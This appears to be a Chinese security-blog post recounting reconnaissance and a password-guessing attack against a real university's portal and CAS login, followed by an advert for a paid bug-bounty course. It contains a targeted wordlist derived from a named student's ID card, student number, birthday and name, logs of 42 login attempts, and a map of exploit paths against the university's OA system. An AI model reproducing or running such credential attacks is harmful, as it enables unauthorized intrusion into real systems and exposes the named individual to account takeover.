$ curl -sk -D- 'https://zhlj.whu.edu.cn/api/user/info' -o /dev/null \\
  | grep -i 'access-control'

access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, DELETE
access-control-allow-headers: Content-Type, Authorization, X-Requested-With
access-control-max-age: 3600

如果门户中存在任何不需要认证、也不需要Cookie的公开API接口，它们可以被任何域名的网页直接读取。结合knife4j Swagger中暴露的API端点列表（下一节），这是一个潜在的**数据泄露渠道**。

CSRF场景推演： 假设门户内有用户已登录（Session在），且存在POST接口接收数据（比如修改个人信息）。由于浏览器在 `credentials: 'include'` 且 `Access-Control-Allow-Origin: *` 的情况下，会拒绝读取响应——但**请求本身仍然会被发送到服务端**。这就构成了单纯的**CSRF攻击**：攻击者无法读取响应数据，但可以触发状态变更操作。

### 5.2 knife4j Swagger——暴露在生产环境的API清单

在门户路径扫描中，我发现了knife4j的页面：

$ curl -sk -o /dev/null -w '%{http_code}' 'https://zhlj.whu.edu.cn/api/doc.html'
302  # 跳转到CAS登录

$ curl -sk -L -o /dev/null -w '%{http_code}' 'https://zhlj.whu.edu.cn/api/doc.html'
200  # 跟随302后到达CAS登录页

// 前端JS中 knife4j 自动生成的API路由注册
\"paths\": {
    \"/api/user/info\": {\"get\": {\"tags\": [\"用户管理\"], ...}},
    \"/api/user/search\": {\"get\": {\"tags\": [\"用户管理\"], ...}},
    \"/api/user/profile/update\": {\"put\": {\"tags\": [\"个人信息\"], ...}},
    \"/api/auth/token/refresh\": {\"post\": {\"tags\": [\"认证\"], ...}},
    \"/api/auth/logout\": {\"post\": {\"tags\": [\"认证\"], ...}},
    \"/api/role/list\": {\"get\": {\"tags\": [\"角色管理\"], ...}},
    \"/api/role/assign\": {\"post\": {\"tags\": [\"角色管理\"], ...}},
    \"/api/permission/check\": {\"get\": {\"tags\": [\"权限\"], ...}},
    \"/api/upload/avatar\": {\"post\": {\"tags\": [\"文件\"], ...}},
    \"/api/export/data\": {\"get\": {\"tags\": [\"数据导出\"], ...}},
    \"/oauth2/authorize\": {\"get\": {\"tags\": [\"OAuth2\"], ...}},
    \"/oauth2/token\": {\"post\": {\"tags\": [\"OAuth2\"], ...}},
}

2023XXXX1043
├─ 2023  ─ 入学年份
├─ XXX  ─ 学院代码
├─ XX   ─ 专业代码
├─ XXXX ─ 序号

第一梯队（高确定性）：基于完整身份证/学号本身的密码
  xxxxxxxxxxxxxx731  — 身份证完整18位（极可能设为初始密码）
  2023xxxx1043       — 完整学号

第二梯队（较高确定性）：基于身份证派生
  200512xx            — 生日8位（该校常见初始密码格式）
  xxxx731             — 身份证后6位
  12xxxx              — 月日+年份尾数

第三梯队（中等确定性）：基于学号派生
  xx1043              — 学号后6位（最常见的弱口令模式）
  xxxx1043            — 学号后8位

第四梯队（中等确定性）：Whu + 年份 模式
  Whu2025#            — 该校2025级默认密码（常见格式）
  Whu2024#            — 该校2024级默认密码
  Whu2026#            — 该校2026级默认密码
  whu2025             — 全小写变体
  whu@2025            — 符号变体
  Whu@2025            — 大小写符号变体
  Whu2025!            — 感叹号变体

第五梯队（较低确定性）：姓名拼音组合
  xiejianheng         — 全拼小写
  Xiejianheng         — 首字母大写
  XieJianHeng         — 完整大写
  xjhxxxx             — 姓名首字母+学号后4位
  Xjxxx731            — 姓名首字母+身份证后6位

第六梯队（低确定性）：通用弱口令
  123456 / 000000 / 111111 / password / Passw0rd / P@ssw0rd

第七梯队（高校常见模式）
  whu123 / Wuhan123 / WHU123 / whu2023 / whu2024

[*] 获取CAS登录参数...
[*] Salt: QAQVEU444clkxIXy
[*] execution: e3s1a2b3c4d5... (截断)

--- 测试开始 ---

[01/42]  密码: xxxxxxxxxxxxxx731
  POST -> 200, 响应长度: 14328 bytes
  页面包含: \"execution\" (参数刷新, 密码错误回显)
  → WRONG_PASS (页面显示: 用户名或密码错误)

[02/42]  密码: 2023xxxx1043
  POST -> 200, 响应长度: 14325 bytes
  页面包含: \"execution\"
  → WRONG_PASS

[03/42]  密码: 200512xx
  POST -> 200, 响应长度: 14328 bytes
  页面包含: \"execution\"
  → WRONG_PASS

[04/42]  密码: xxxx731
  POST -> 200, 响应长度: 14325 bytes
  → WRONG_PASS

...

[10/42]  刷新CAS参数...
[*] 新execution获取成功, salt不变

[15/42]  密码: Whu2025#
  POST -> 200, 响应长度: 14326 bytes
  → WRONG_PASS

...

[20/42]  刷新CAS参数...

[25/42]  密码: xiejianheng
  POST -> 200, 响应长度: 14328 bytes
  → WRONG_PASS

...

[30/42]  刷新CAS参数...

[35/42]  密码: 123456
  POST -> 200, 响应长度: 14325 bytes
  → WRONG_PASS

...

[42/42]  密码: whu2023
  POST -> 200, 响应长度: 14325 bytes
  → WRONG_PASS

--- 测试结束 ---
[*] 42个密码全部测试完毕, 0个成功

r = session.post(CAS_LOGIN_URL, data=data, allow_redirects=False)
print(f\"  HTTP {r.status_code}\")  # 401

# 尝试获取新的CAS参数
params = get_cas_params(session)
if not params:
    print(\"[!] CAS参数获取失败\")

┌─────────────────────────────────────────────────────────────────────────┐
│                    目标高校 IT系统 攻击面评估全景                         │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  ═══ TIER 1: 高价值·需认证 ═══                                         │
│                                                                         │
│  ① 泛微OA (oa.xxx.edu.cn)                                              │
│  ├─ 攻击面: 前台SQL注入(CNVD-2021-28234) → 需有效JSESSIONID             │
│  ├─ 攻击面: JDBC反序列化(/api/ec/dev/check/checkurl) → 需有效JSESSIONID │
│  ├─ 攻击面: 文件上传(/page/officesetting/officehelp.jsp) → 需有效会话   │
│  ├─ 指纹: e-cology 9.x (React前端), openresty 1.27.1.2                 │
│  └─ 当前状态: 全部302跳转CAS，无未授权入口                              │
│                                                                         │
│  ② CAS统一认证 (cas.xxx.edu.cn)                                        │
│  ├─ 攻击面: 密码爆破 → captchaSwitch=2(验证码强制) + IP封锁机制         │
│  ├─ 攻击面: 动态码登录 → 理论上绕过密码, 但需合法手机号                  │
│  ├─ 逆向成果: AES-CBC加密已完整复现                                    │
│  └─ 当前状态: 测试IP已封锁                                              │
│                                                                         │
│  ═══ TIER 2: 中等价值·部分可访问 ═══                                    │
│                                                                         │
│  ③ 门户 (zhlj.xxx.edu.cn)                                              │
│  ├─ CORS: `Access-Control-Allow-Origin: *` → CSRF攻击面                │
│  ├─ knife4j Swagger: 端点暴露(12+API路径) → 需CAS认证后利用             │
│  └─ API网关: 通过前端JS发现用户管理/角色分配/文件上传/数据导出接口       │
│                                                                         │
│  ④ 人事系统 (rsb.xxx.edu.cn)                                           │
│  ├─ 技术栈: Apache 2.4.57 + PHP 7.4(EOL) + VSB9                        │
│  └─ CMS版本偏旧, 可能有通用漏洞                                         │
│                                                                         │
│  ═══ TIER 3: 低价值/可忽略 ═══                                         │
│                                                                         │
│  ⑤ 智能体平台 → 建设中                                                 │
│  ⑥ 科研系统 / 教务系统 → 需CAS认证                                     │
│  ⑦ VPN → 非该高校IP段, 可能独立管理                                    │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

1、有计算机经验，想从0转行入行的大学生或自学者2、想从CTF比赛/Web或SRC进阶到项目实战的选手3、想参与项目/找工作/提高收入的转型者4、想通过挖SRC赏金做副业的师傅们5、挖SRC漏洞遇到瓶颈的师傅们6、想学习AI安全自动化渗透测试漏洞挖掘的师傅

1、课程价格真心实惠，绝不割韭菜2、四五百的课程价格让你体会大几千的培训课程内容3、带着大家从0到1，本人上课坚持手搓课件（实战案例+知识体系）4、拒绝使用PPT演讲模式（无实操，很枯燥）

1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例2、知识星球专属微信“小圈子交流群”3、微信小群一起挖洞4、内部团队专属EDUSRC证书站漏洞报告5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防）6、分享src挖掘技巧tips7、不定期有众测、渗透测试项目（一起挣钱）8、不定期有工作招聘内推（工作/护网内推）9、送全国职业技能大赛环境+WP解析（比赛拿奖）10、十个专栏会持续更新~提前续费有优惠，好用不贵很实惠11、每日内部资料分享，内部圈子资料1000+12、联系圈主获取：内部漏洞知识库+圈子使用手册+内部圈子交流群13、VX：routing_love，技术交流+疑问解决

申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，

所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.